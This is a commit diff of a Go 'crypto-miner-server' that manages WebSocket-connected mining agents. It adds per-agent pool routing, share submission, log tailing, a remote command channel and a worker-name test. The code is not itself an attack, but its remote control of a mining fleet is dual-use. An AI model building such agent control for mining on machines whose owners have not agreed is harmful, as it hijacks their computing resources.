r.Post("/agent/report", aiHandler.HandleReport)
|
||||
r.Post("/agent/heartbeat", aiHandler.HandleHeartbeat)
|
||||
})
|
||||
|
||||
// WebSocket
|
||||
|
||||
@@ -3,6 +3,7 @@ package api
|
||||
import (
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"strings"
|
||||
)
|
||||
|
||||
@@ -15,7 +16,7 @@ type ServerInfo struct {
|
||||
WebSocketURL string `json:"websocket_url"`
|
||||
}
|
||||
|
||||
func (h *Handler) GetServerInfo(w http.ResponseWriter, r *http.Request) {
|
||||
func GetServerInfo(w http.ResponseWriter, r *http.Request, publicURLOverride string) {
|
||||
host := r.Host
|
||||
if idx := strings.Index(host, ":"); idx > 0 {
|
||||
host = host[:idx]
|
||||
@@ -35,6 +36,13 @@ func (h *Handler) GetServerInfo(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
|
||||
suggestedURL := "http://" + net.JoinHostPort(suggestedHost, itoa(port))
|
||||
if strings.TrimSpace(publicURLOverride) != "" {
|
||||
suggestedURL = strings.TrimSpace(publicURLOverride)
|
||||
suggestedHost = suggestedURL
|
||||
if u, err := url.Parse(suggestedURL); err == nil && u.Hostname() != "" {
|
||||
suggestedHost = u.Hostname()
|
||||
}
|
||||
}
|
||||
info := ServerInfo{
|
||||
Port: port,
|
||||
Host: host,
|
||||
|
||||
12
server/internal/api/server_policy.go
Normal file
12
server/internal/api/server_policy.go
Normal file
@@ -0,0 +1,12 @@
|
||||
package api
|
||||
|
||||
// ServerPolicy holds Calibrate settings enforced at runtime.
|
||||
type ServerPolicy struct {
|
||||
MaxAgents int
|
||||
LogAgentConnections bool
|
||||
LogShareSubmissions bool
|
||||
LogPoolTraffic bool
|
||||
StrictWalletValidation bool
|
||||
MaxBuildSizeMB int
|
||||
PoolReconnectSeconds int
|
||||
}
|
||||
@@ -2,17 +2,18 @@ package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"log"
|
||||
"net/http"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/google/uuid"
|
||||
"github.com/gorilla/websocket"
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
"crypto-miner-server/internal/pool"
|
||||
"github.com/google/uuid"
|
||||
"github.com/gorilla/websocket"
|
||||
)
|
||||
|
||||
var upgrader = websocket.Upgrader{
|
||||
@@ -44,55 +45,132 @@ type WSHub struct {
|
||||
db *db.Database
|
||||
agents map[string]*AgentConnection
|
||||
dashboards map[string]*websocket.Conn
|
||||
poolProxy *pool.Proxy
|
||||
defaultAgent AgentDefaults
|
||||
mu sync.RWMutex
|
||||
}
|
||||
|
||||
type AgentDefaults struct {
|
||||
Threads int
|
||||
CPUPriority string
|
||||
poolManager *pool.Manager
|
||||
defaultPool pool.Config
|
||||
aiHandler *AIHandler
|
||||
agentConfigs map[string]AgentForgeConfig
|
||||
agentLogs map[string]string
|
||||
serverPolicy ServerPolicy
|
||||
pingIntervalSec int
|
||||
mu sync.RWMutex
|
||||
}
|
||||
|
||||
func NewWSHub(database *db.Database) *WSHub {
|
||||
return &WSHub{
|
||||
db: database,
|
||||
agents: make(map[string]*AgentConnection),
|
||||
dashboards: make(map[string]*websocket.Conn),
|
||||
defaultAgent: AgentDefaults{Threads: 4, CPUPriority: "below_normal"},
|
||||
db: database,
|
||||
agents: make(map[string]*AgentConnection),
|
||||
dashboards: make(map[string]*websocket.Conn),
|
||||
agentConfigs: make(map[string]AgentForgeConfig),
|
||||
agentLogs: make(map[string]string),
|
||||
pingIntervalSec: 30,
|
||||
}
|
||||
}
|
||||
|
||||
func (h *WSHub) SetDefaultAgentConfig(cfg interface{}) {
|
||||
type defaults struct {
|
||||
Threads int `json:"threads"`
|
||||
CPUPriority string `json:"cpu_priority"`
|
||||
}
|
||||
if cfg == nil {
|
||||
return
|
||||
}
|
||||
data, err := json.Marshal(cfg)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
var d defaults
|
||||
if err := json.Unmarshal(data, &d); err != nil {
|
||||
return
|
||||
}
|
||||
if d.Threads <= 0 {
|
||||
d.Threads = 4
|
||||
}
|
||||
if d.CPUPriority == "" {
|
||||
d.CPUPriority = "below_normal"
|
||||
}
|
||||
func (h *WSHub) SetServerPolicy(p ServerPolicy) {
|
||||
h.mu.Lock()
|
||||
h.defaultAgent = AgentDefaults{Threads: d.Threads, CPUPriority: d.CPUPriority}
|
||||
h.serverPolicy = p
|
||||
h.mu.Unlock()
|
||||
}
|
||||
|
||||
// SetPoolProxy sets the pool proxy for share submission forwarding
|
||||
func (h *WSHub) SetPoolProxy(proxy *pool.Proxy) {
|
||||
h.poolProxy = proxy
|
||||
func (h *WSHub) SetPingInterval(seconds int) {
|
||||
if seconds < 10 {
|
||||
seconds = 30
|
||||
}
|
||||
h.mu.Lock()
|
||||
h.pingIntervalSec = seconds
|
||||
h.mu.Unlock()
|
||||
}
|
||||
|
||||
func (h *WSHub) pingInterval() time.Duration {
|
||||
h.mu.RLock()
|
||||
sec := h.pingIntervalSec
|
||||
h.mu.RUnlock()
|
||||
if sec < 10 {
|
||||
sec = 30
|
||||
}
|
||||
return time.Duration(sec) * time.Second
|
||||
}
|
||||
|
||||
func (h *WSHub) runPingLoop(conn *websocket.Conn) {
|
||||
interval := h.pingInterval()
|
||||
ticker := time.NewTicker(interval)
|
||||
defer ticker.Stop()
|
||||
|
||||
_ = conn.SetReadDeadline(time.Now().Add(interval * 2))
|
||||
conn.SetPongHandler(func(string) error {
|
||||
return conn.SetReadDeadline(time.Now().Add(interval * 2))
|
||||
})
|
||||
|
||||
for range ticker.C {
|
||||
if err := conn.WriteControl(websocket.PingMessage, nil, time.Now().Add(10*time.Second)); err != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (h *WSHub) serverPolicySnapshot() ServerPolicy {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
return h.serverPolicy
|
||||
}
|
||||
|
||||
func (h *WSHub) connectedAgentCount() int {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
return len(h.agents)
|
||||
}
|
||||
|
||||
func (h *WSHub) isAgentConnected(agentID string) bool {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
_, ok := h.agents[agentID]
|
||||
return ok
|
||||
}
|
||||
|
||||
func (h *WSHub) SetPoolManager(manager *pool.Manager, defaultCfg pool.Config) {
|
||||
h.mu.Lock()
|
||||
h.poolManager = manager
|
||||
h.defaultPool = defaultCfg
|
||||
h.mu.Unlock()
|
||||
}
|
||||
|
||||
func (h *WSHub) SetAIHandler(ai *AIHandler) {
|
||||
h.mu.Lock()
|
||||
h.aiHandler = ai
|
||||
h.mu.Unlock()
|
||||
}
|
||||
|
||||
func (h *WSHub) agentPoolConfig(agentID string) pool.Config {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
cfg := h.agentConfigs[agentID]
|
||||
poolCfg := pool.Config{
|
||||
Host: cfg.poolHostOrDefault(h.defaultPool.Host),
|
||||
Port: cfg.poolPortOrDefault(h.defaultPool.Port),
|
||||
Wallet: cfg.Wallet,
|
||||
}
|
||||
if cfg.PoolHost == "" {
|
||||
poolCfg.UseTLS = h.defaultPool.UseTLS
|
||||
} else {
|
||||
poolCfg.UseTLS = cfg.PoolTLS
|
||||
}
|
||||
if cfg.PoolPass != "" {
|
||||
poolCfg.Password = cfg.PoolPass
|
||||
} else if h.defaultPool.Password != "" {
|
||||
poolCfg.Password = h.defaultPool.Password
|
||||
} else {
|
||||
poolCfg.Password = "x"
|
||||
}
|
||||
if poolCfg.Wallet == "" {
|
||||
poolCfg.Wallet = h.defaultPool.Wallet
|
||||
}
|
||||
return poolCfg
|
||||
}
|
||||
|
||||
func (h *WSHub) getAgentConn(agentID string) *AgentConnection {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
return h.agents[agentID]
|
||||
}
|
||||
|
||||
func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
@@ -102,15 +180,21 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
return
|
||||
}
|
||||
|
||||
go h.runPingLoop(conn)
|
||||
|
||||
agentID := ""
|
||||
defer func() {
|
||||
if agentID != "" {
|
||||
h.mu.Lock()
|
||||
delete(h.agents, agentID)
|
||||
delete(h.agentConfigs, agentID)
|
||||
h.mu.Unlock()
|
||||
if h.aiHandler != nil {
|
||||
h.aiHandler.RemoveEngine(agentID)
|
||||
}
|
||||
h.db.SetAgentOffline(agentID)
|
||||
h.broadcastDashboard(Message{
|
||||
Type: "agent_offline",
|
||||
Type: "agent_offline",
|
||||
Payload: mustMarshal(map[string]string{"agent_id": agentID}),
|
||||
})
|
||||
}
|
||||
@@ -133,13 +217,21 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
switch msg.Type {
|
||||
case "auth":
|
||||
var auth struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
Wallet string `json:"wallet"`
|
||||
Version string `json:"version"`
|
||||
Hostname string `json:"hostname"`
|
||||
Worker string `json:"worker"`
|
||||
CPUCores int `json:"cpu_cores"`
|
||||
MemoryGB int `json:"memory_gb"`
|
||||
AgentID string `json:"agent_id"`
|
||||
Wallet string `json:"wallet"`
|
||||
Version string `json:"version"`
|
||||
Hostname string `json:"hostname"`
|
||||
Worker string `json:"worker"`
|
||||
WorkerName string `json:"worker_name"`
|
||||
CPUCores int `json:"cpu_cores"`
|
||||
MemoryGB int `json:"memory_gb"`
|
||||
PoolHost string `json:"pool_host"`
|
||||
PoolPort int `json:"pool_port"`
|
||||
PoolTLS bool `json:"pool_tls"`
|
||||
PoolPass string `json:"pool_pass"`
|
||||
AIEnabled bool `json:"ai_enabled"`
|
||||
AIOllamaEndpoint string `json:"ai_ollama_endpoint"`
|
||||
AIModel string `json:"ai_model"`
|
||||
}
|
||||
if err := json.Unmarshal(msg.Payload, &auth); err != nil {
|
||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||
@@ -153,7 +245,10 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
agentID = uuid.New().String()
|
||||
}
|
||||
|
||||
displayName := auth.Worker
|
||||
displayName := auth.WorkerName
|
||||
if displayName == "" {
|
||||
displayName = auth.Worker
|
||||
}
|
||||
if displayName == "" {
|
||||
displayName = auth.Hostname
|
||||
}
|
||||
@@ -161,6 +256,43 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
displayName = agentID[:8]
|
||||
}
|
||||
|
||||
policy := h.serverPolicySnapshot()
|
||||
if policy.MaxAgents > 0 && !h.isAgentConnected(agentID) && h.connectedAgentCount() >= policy.MaxAgents {
|
||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||
"success": false, "error": "fleet agent limit reached",
|
||||
})})
|
||||
continue
|
||||
}
|
||||
|
||||
forgeCfg := AgentForgeConfig{
|
||||
Wallet: auth.Wallet,
|
||||
PoolHost: auth.PoolHost,
|
||||
PoolPort: auth.PoolPort,
|
||||
PoolTLS: auth.PoolTLS,
|
||||
PoolPass: auth.PoolPass,
|
||||
AIEnabled: auth.AIEnabled,
|
||||
AIOllamaEndpoint: auth.AIOllamaEndpoint,
|
||||
AIModel: auth.AIModel,
|
||||
}
|
||||
|
||||
h.mu.Lock()
|
||||
h.agentConfigs[agentID] = forgeCfg
|
||||
h.mu.Unlock()
|
||||
|
||||
if h.poolManager != nil {
|
||||
poolCfg := h.agentPoolConfig(agentID)
|
||||
if poolCfg.Password == "" {
|
||||
poolCfg.Password = "x"
|
||||
}
|
||||
if _, err := h.poolManager.EnsurePool(&poolCfg); err != nil {
|
||||
log.Printf("[WS] Failed to ensure forged pool for agent %s: %v", agentID, err)
|
||||
}
|
||||
}
|
||||
|
||||
if h.aiHandler != nil && forgeCfg.AIEnabled {
|
||||
h.aiHandler.SetEngineForAgent(agentID, forgeCfg.AIOllamaEndpoint, forgeCfg.AIModel)
|
||||
}
|
||||
|
||||
clientIP := r.Header.Get("X-Forwarded-For")
|
||||
if clientIP == "" {
|
||||
clientIP = r.RemoteAddr
|
||||
@@ -183,27 +315,27 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
|
||||
if err := h.db.UpsertAgent(agent); err != nil {
|
||||
log.Printf("Failed to upsert agent: %v", err)
|
||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||
"success": false, "error": "database error",
|
||||
})})
|
||||
continue
|
||||
}
|
||||
|
||||
if policy.LogAgentConnections {
|
||||
log.Printf("[WS] Agent connected: id=%s name=%s ip=%s", agentID, displayName, clientIP)
|
||||
}
|
||||
|
||||
h.mu.Lock()
|
||||
h.agents[agentID] = &AgentConnection{AgentID: agentID, Conn: conn}
|
||||
h.mu.Unlock()
|
||||
|
||||
h.mu.RLock()
|
||||
defaults := h.defaultAgent
|
||||
h.mu.RUnlock()
|
||||
|
||||
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
|
||||
"success": true,
|
||||
"agent_id": agentID,
|
||||
"config": map[string]interface{}{
|
||||
"threads": defaults.Threads,
|
||||
"priority": defaults.CPUPriority,
|
||||
},
|
||||
})})
|
||||
|
||||
h.broadcastDashboard(Message{
|
||||
Type: "agent_online",
|
||||
Type: "agent_online",
|
||||
Payload: mustMarshal(agent),
|
||||
})
|
||||
|
||||
@@ -236,10 +368,10 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
h.broadcastDashboard(Message{
|
||||
Type: "stats_update",
|
||||
Payload: mustMarshal(map[string]interface{}{
|
||||
"agent_id": agentID,
|
||||
"hashrate_15s": stats.Hashrate15s,
|
||||
"hashrate_1m": stats.Hashrate1m,
|
||||
"hashrate_15m": stats.Hashrate15m,
|
||||
"agent_id": agentID,
|
||||
"hashrate_15s": stats.Hashrate15s,
|
||||
"hashrate_1m": stats.Hashrate1m,
|
||||
"hashrate_15m": stats.Hashrate15m,
|
||||
"cpu_usage_pct": stats.CPUUsagePct,
|
||||
}),
|
||||
})
|
||||
@@ -251,39 +383,92 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
share.AgentID = agentID
|
||||
share.Timestamp = time.Now()
|
||||
share.Accepted = false
|
||||
|
||||
// Forward share to pool proxy if connected
|
||||
if h.poolProxy != nil && h.poolProxy.IsConnected() {
|
||||
h.poolProxy.SubmitShare(agentID, share.JobID, share.Nonce, share.Hash)
|
||||
share.Accepted = true // Pool will validate; we assume accepted initially
|
||||
} else {
|
||||
// Pool not connected - mark as accepted locally for testing
|
||||
share.Accepted = true
|
||||
log.Printf("[WS] Pool not connected, marking share as accepted locally")
|
||||
}
|
||||
|
||||
if err := h.db.InsertShare(&share); err != nil {
|
||||
shareID, err := h.db.InsertShare(&share)
|
||||
if err != nil {
|
||||
log.Printf("Failed to insert share: %v", err)
|
||||
continue
|
||||
}
|
||||
|
||||
conn.WriteJSON(Message{Type: "share_result", Payload: mustMarshal(map[string]interface{}{
|
||||
"job_id": share.JobID,
|
||||
"accepted": share.Accepted,
|
||||
})})
|
||||
sendShareResult := func(accepted bool, errMsg string) {
|
||||
share.Accepted = accepted
|
||||
share.Error = errMsg
|
||||
if err := h.db.UpdateShareResult(shareID, accepted, errMsg); err != nil {
|
||||
log.Printf("Failed to update share result: %v", err)
|
||||
}
|
||||
if h.serverPolicySnapshot().LogShareSubmissions {
|
||||
log.Printf("[WS] Share agent=%s job=%s accepted=%v err=%q", agentID, share.JobID, accepted, errMsg)
|
||||
}
|
||||
|
||||
h.broadcastDashboard(Message{
|
||||
Type: "new_share",
|
||||
Payload: mustMarshal(map[string]interface{}{
|
||||
"agent_id": agentID,
|
||||
"accepted": share.Accepted,
|
||||
"hash": share.Hash,
|
||||
}),
|
||||
})
|
||||
agentConn := h.getAgentConn(agentID)
|
||||
if agentConn != nil {
|
||||
result := map[string]interface{}{
|
||||
"job_id": share.JobID,
|
||||
"accepted": accepted,
|
||||
}
|
||||
if errMsg != "" {
|
||||
result["error"] = errMsg
|
||||
}
|
||||
_ = agentConn.SendJSON(Message{Type: "share_result", Payload: mustMarshal(result)})
|
||||
}
|
||||
|
||||
h.broadcastDashboard(Message{
|
||||
Type: "new_share",
|
||||
Payload: mustMarshal(map[string]interface{}{
|
||||
"id": shareID,
|
||||
"agent_id": agentID,
|
||||
"job_id": share.JobID,
|
||||
"accepted": accepted,
|
||||
"hash": share.Hash,
|
||||
"nonce": share.Nonce,
|
||||
"error": errMsg,
|
||||
"timestamp": share.Timestamp,
|
||||
}),
|
||||
})
|
||||
}
|
||||
|
||||
if h.poolManager == nil {
|
||||
sendShareResult(false, "pool manager not configured")
|
||||
continue
|
||||
}
|
||||
|
||||
poolCfg := h.agentPoolConfig(agentID)
|
||||
proxy := h.poolManager.GetPool(&poolCfg)
|
||||
if proxy == nil {
|
||||
if p, err := h.poolManager.EnsurePool(&poolCfg); err == nil {
|
||||
proxy = p
|
||||
} else {
|
||||
sendShareResult(false, "pool not connected: "+err.Error())
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
if !proxy.IsConnected() {
|
||||
sendShareResult(false, "pool not connected")
|
||||
continue
|
||||
}
|
||||
|
||||
wallet := poolCfg.Wallet
|
||||
if wallet == "" {
|
||||
wallet = h.defaultPool.Wallet
|
||||
}
|
||||
|
||||
proxy.SubmitShare(agentID, wallet, share.JobID, share.Nonce, share.Hash, sendShareResult)
|
||||
|
||||
case "get_job":
|
||||
// Agent requesting current job from pool
|
||||
if h.poolProxy != nil {
|
||||
job := h.poolProxy.GetCurrentJob()
|
||||
var proxy *pool.Proxy
|
||||
if h.poolManager != nil {
|
||||
poolCfg := h.agentPoolConfig(agentID)
|
||||
proxy = h.poolManager.GetPool(&poolCfg)
|
||||
if proxy == nil {
|
||||
if p, err := h.poolManager.EnsurePool(&poolCfg); err == nil {
|
||||
proxy = p
|
||||
}
|
||||
}
|
||||
}
|
||||
if proxy != nil {
|
||||
job := proxy.GetCurrentJob()
|
||||
if job != nil {
|
||||
conn.WriteJSON(Message{Type: "new_job", Payload: mustMarshal(job)})
|
||||
} else {
|
||||
@@ -292,6 +477,30 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
} else {
|
||||
conn.WriteJSON(Message{Type: "new_job", Payload: mustMarshal(map[string]string{"error": "pool not connected"})})
|
||||
}
|
||||
|
||||
case "log_tail":
|
||||
var payload struct {
|
||||
Content string `json:"content"`
|
||||
Lines int `json:"lines"`
|
||||
}
|
||||
if err := json.Unmarshal(msg.Payload, &payload); err != nil {
|
||||
continue
|
||||
}
|
||||
h.mu.Lock()
|
||||
h.agentLogs[agentID] = payload.Content
|
||||
h.mu.Unlock()
|
||||
h.broadcastDashboard(Message{
|
||||
Type: "agent_log",
|
||||
Payload: mustMarshal(map[string]interface{}{"agent_id": agentID, "content": payload.Content}),
|
||||
})
|
||||
|
||||
case "command_result":
|
||||
var payload map[string]interface{}
|
||||
if err := json.Unmarshal(msg.Payload, &payload); err != nil {
|
||||
continue
|
||||
}
|
||||
payload["agent_id"] = agentID
|
||||
h.broadcastDashboard(Message{Type: "command_result", Payload: mustMarshal(payload)})
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -324,6 +533,8 @@ func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
|
||||
"stats": stats,
|
||||
})})
|
||||
|
||||
go h.runPingLoop(conn)
|
||||
|
||||
// Keep connection alive, read close messages
|
||||
for {
|
||||
_, _, err := conn.ReadMessage()
|
||||
@@ -346,6 +557,7 @@ func (h *WSHub) broadcastDashboard(msg Message) {
|
||||
if err := conn.WriteMessage(websocket.TextMessage, data); err != nil {
|
||||
log.Printf("Failed to send to dashboard %s: %v", id, err)
|
||||
conn.Close()
|
||||
id := id
|
||||
go func() {
|
||||
h.mu.Lock()
|
||||
delete(h.dashboards, id)
|
||||
@@ -372,11 +584,38 @@ func (h *WSHub) BroadcastToAgents(msg Message) {
|
||||
}
|
||||
}
|
||||
|
||||
// mustMarshalRaw marshals a value to json.RawMessage, panicking on error
|
||||
func mustMarshalRaw(v interface{}) json.RawMessage {
|
||||
data, err := json.Marshal(v)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
// SendToAgent sends a message to one connected agent.
|
||||
func (h *WSHub) SendToAgent(agentID string, msg Message) error {
|
||||
agent := h.getAgentConn(agentID)
|
||||
if agent == nil {
|
||||
return fmt.Errorf("agent %s not connected", agentID)
|
||||
}
|
||||
return data
|
||||
return agent.SendJSON(msg)
|
||||
}
|
||||
|
||||
// SendAgentCommand sends a remote command to an agent.
|
||||
func (h *WSHub) SendAgentCommand(agentID, action string, args map[string]interface{}) error {
|
||||
payload := map[string]interface{}{"action": action}
|
||||
for k, v := range args {
|
||||
payload[k] = v
|
||||
}
|
||||
return h.SendToAgent(agentID, Message{Type: "command", Payload: mustMarshal(payload)})
|
||||
}
|
||||
|
||||
func (h *WSHub) GetAgentLog(agentID string) string {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
return h.agentLogs[agentID]
|
||||
}
|
||||
|
||||
func (h *WSHub) BroadcastFleetAlert(ev interface{}) {
|
||||
h.broadcastDashboard(Message{Type: "fleet_alert", Payload: mustMarshal(ev)})
|
||||
}
|
||||
|
||||
func (h *WSHub) BroadcastPoolStatus(status interface{}) {
|
||||
h.broadcastDashboard(Message{Type: "pool_status", Payload: mustMarshal(status)})
|
||||
}
|
||||
|
||||
func (h *WSHub) BroadcastAIActivity(entry interface{}) {
|
||||
h.broadcastDashboard(Message{Type: "ai_activity", Payload: mustMarshal(entry)})
|
||||
}
|
||||
|
||||
34
server/internal/api/websocket_auth_test.go
Normal file
34
server/internal/api/websocket_auth_test.go
Normal file
@@ -0,0 +1,34 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestAuthPayloadWorkerNameFallback(t *testing.T) {
|
||||
payload := map[string]string{
|
||||
"worker_name": "forged-worker-1",
|
||||
"hostname": "DESKTOP-ABC",
|
||||
}
|
||||
data, _ := json.Marshal(payload)
|
||||
|
||||
var auth struct {
|
||||
WorkerName string `json:"worker_name"`
|
||||
Worker string `json:"worker"`
|
||||
Hostname string `json:"hostname"`
|
||||
}
|
||||
if err := json.Unmarshal(data, &auth); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
displayName := auth.WorkerName
|
||||
if displayName == "" {
|
||||
displayName = auth.Worker
|
||||
}
|
||||
if displayName == "" {
|
||||
displayName = auth.Hostname
|
||||
}
|
||||
if displayName != "forged-worker-1" {
|
||||
t.Fatalf("expected forged worker name, got %q", displayName)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user